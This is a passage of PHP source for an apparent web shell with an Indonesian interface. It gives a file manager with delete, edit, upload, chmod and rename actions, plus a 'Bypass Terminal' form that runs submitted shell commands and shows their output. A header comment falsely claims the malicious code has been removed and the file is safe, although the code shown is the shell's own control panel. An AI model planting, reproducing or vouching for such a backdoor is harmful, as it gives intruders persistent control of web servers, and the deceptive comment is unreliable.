/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/


if (isset($_GET['action']) && $_GET['action'] === 'del' && !empty($_GET['item'])) {
    $p = $dir.$sep.$_GET['item'];
    $msg = (is_dir($p) ? @rmdir($p) : @unlink($p)) ? "Item dihapus" : "Gagal hapus";
}
if ($msg) echo "<p style='color:blue;'><b>Status: $msg</b></p>";

$parts = explode($sep, trim($dir, $sep)); $acc = '';
$bc = (strpos($dir, ':') === 1) ? '' : "<a href='?d=".urlencode($sep)."{$auth_param}'>$sep</a>";
foreach ($parts as $i => $pt) {
    if (empty($pt)) continue;
    $acc .= (strpos($dir, ':') === 1 && $i === 0) ? $pt : $sep.$pt;
    $bc .= "<a href='?d=".urlencode($acc)."{$auth_param}'>".htmlspecialchars($pt)."</a>".$sep;
}

$dir_color = is_writable($dir) ? "green" : "red";
echo "<p><b>Dir:</b> <span style='color:$dir_color; font-weight:bold;'>$bc</span> <a href='?d=".urlencode(dirname($dir))."{$auth_param}'>[⬆️ Atas]</a></p>";

if (isset($_GET['action']) && $_GET['action'] === 'edit' && !empty($_GET['item'])) {
    $ep = $dir.$sep.$_GET['item'];
    if (file_exists($ep) && !is_dir($ep)) {
        echo "<form method='POST'><input type='hidden' name='action' value='save'><input type='hidden' name='n' value='".htmlspecialchars($_GET['item'])."'>";
        echo "<textarea name='c' rows='8' style='width:100%;'>".htmlspecialchars(file_get_contents($ep))."</textarea><br><button type='submit'>Simpan</button> <a href='?d=".urlencode($dir)."{$auth_param}'>Batal</a></form><hr>";
    }
}

echo "<fieldset><legend>Kontrol</legend><form method='POST' enctype='multipart/form-data' style='display:inline;'><input type='hidden' name='action' value='upload'>Upload: <input type='file' name='f'><button type='submit'>Go</button></form> | <form method='POST' style='display:inline;'><input type='hidden' name='action' value='new_folder'><input type='text' name='n' placeholder='Folder Baru' required><button type='submit'>+F</button></form> | <form method='POST' style='display:inline;'><input type='hidden' name='action' value='new_file'><input type='text' name='n' placeholder='File Baru' required><button type='submit'>+T</button></form></fieldset><br>";

echo "<fieldset style='background-color:#1e1e1e; color:#fff; border:1px solid #555; padding:10px; font-family:monospace;'>";
echo "<legend style='background:#333; padding:2px 10px; border:1px solid #555;'>Bypass Terminal (Current Dir)</legend>";
echo "<form method='POST'><input type='hidden' name='action' value='cmd'>";
echo "<span style='color:#0f0;'>$ </span><input type='text' name='command' style='background:#000; color:#0f0; border:1px solid #444; width:80%; padding:4px; font-family:monospace;' placeholder='Masukkan perintah' autocomplete='off' required> ";
echo "<button type='submit' style='background:#444; color:#fff; border:1px solid #666; padding:4px 10px; cursor:pointer;'>Kirim</button></form>";

if (isset($cmd_output) && $cmd_output !== "") {
    echo "<p style='margin:10px 0 2px 0; color:#aaa;'>Output dari: <b>".htmlspecialchars($cmd)."</b></p>";
    echo "<pre style='background:#000; color:#0f0; padding:10px; border:1px solid #333; margin:0; white-space:pre-wrap; overflow-x:auto;'>".htmlspecialchars($cmd_output)."</pre>";
}
echo "</fieldset><br>";

if (function_exists('scandir') && ($files = @scandir($dir)) !== false) {
    echo "<table border='1' cellpadding='4' style='border-collapse:collapse; min-width:600px;'><tr bgcolor='#eee'><th>Nama</th><th>Tipe</th><th>CHMOD</th><th>Aksi</th></tr>";
    foreach ($files as $f) {
        if ($f == '.' || $f == '..') continue;
        $fp = $dir.$sep.$f; $is_d = is_dir($fp); $prm = substr(sprintf('%o', @fileperms($fp)), -4);
        $item_color = is_writable($fp) ? "green" : "red";
        $display_name = "<span style='color:$item_color; font-weight:bold;'>" . htmlspecialchars($f) . "</span>";

        echo "<tr><td>".($is_d ? "📁 <a href='?d=".urlencode($fp)."{$auth_param}'>$display_name</a>" : "📄 $display_name")."</td><td>".($is_d ? "Dir" : "File")."</td>";
        echo "<td><form method='POST' style='display:inline;'><input type='hidden' name='action' value='chmod'><input type='hidden' name='t' value='".htmlspecialchars($f)."'><input type='text' name='v' value='$prm' size='4'><button type='submit'>Set</button></form></td>";
        echo "<td><form method='POST' style='display:inline;'><input type='hidden' name='action' value='rename'><input type='hidden' name='o' value='".htmlspecialchars($f)."'><input type='text' name='n' value='".htmlspecialchars($f)."' size='10'><button type='submit'>Ren</button></form> ";
        if (!$is_d) echo "<a href='?d=".urlencode($dir)."&action=edit&item=".urlencode($f)."{$auth_param}'>[Edit]</a> ";
        echo "<a href='?d=".urlencode($dir)."&action=del&item=".urlencode($f)."{$auth_param}' onclick='return confirm(\"Hapus?\")' style='color:red;'>[X]</a></td></tr>";
    }
    echo "</table>";
} else { echo "Fungsi scandir() mati atau gagal."; }

echo "<br><div style='text-align:center; font-family:sans-serif; font-size:12px; color:#555;'>Copyright © Kamley77 2026</div>";
?>